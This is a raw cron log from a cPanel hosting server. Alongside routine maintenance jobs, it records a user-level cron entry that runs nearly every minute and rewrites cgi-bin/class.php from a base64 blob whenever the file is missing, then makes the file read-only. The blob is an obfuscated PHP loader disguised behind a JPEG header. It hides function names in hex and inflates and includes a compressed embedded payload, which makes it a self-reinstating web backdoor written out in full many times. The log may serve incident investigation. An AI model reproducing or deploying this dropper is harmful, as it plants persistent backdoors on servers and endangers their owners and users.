Sep 13 03:15:01 server CROND[17513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:16:01 server CROND[18343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:16:01 server CROND[18344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:16:01 server CROND[18345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:17:01 server CROND[18731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:17:01 server CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:17:01 server CROND[18733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:18:01 server CROND[19206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:18:01 server CROND[19207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:18:01 server CROND[19210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:19:01 server CROND[19590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:19:01 server CROND[19592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:19:01 server CROND[19591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:20:01 server CROND[20039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:20:01 server CROND[20038]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:20:01 server CROND[20041]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:20:01 server CROND[20043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:20:01 server CROND[20048]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:20:01 server CROND[20050]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:20:01 server CROND[20106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:20:01 server CROND[20107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:20:01 server CROND[20110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:21:01 server CROND[20966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:21:01 server CROND[20967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:21:01 server CROND[20968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:22:01 server CROND[21369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:22:01 server CROND[21370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:22:01 server CROND[21371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:23:01 server CROND[21809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:23:01 server CROND[21810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:23:01 server CROND[21811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:24:01 server CROND[22237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:24:01 server CROND[22238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:24:01 server CROND[22239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:25:01 server CROND[22638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:25:01 server CROND[22639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:25:01 server CROND[22651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:25:01 server CROND[22654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:25:01 server CROND[22653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:25:01 server CROND[22652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:25:01 server CROND[22650]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:26:01 server CROND[23649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:26:01 server CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:26:01 server CROND[23650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:27:01 server CROND[24077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:27:01 server CROND[24078]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:27:01 server CROND[24080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:27:01 server CROND[24079]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 13 03:27:01 server CROND[24081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:28:01 server CROND[24463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
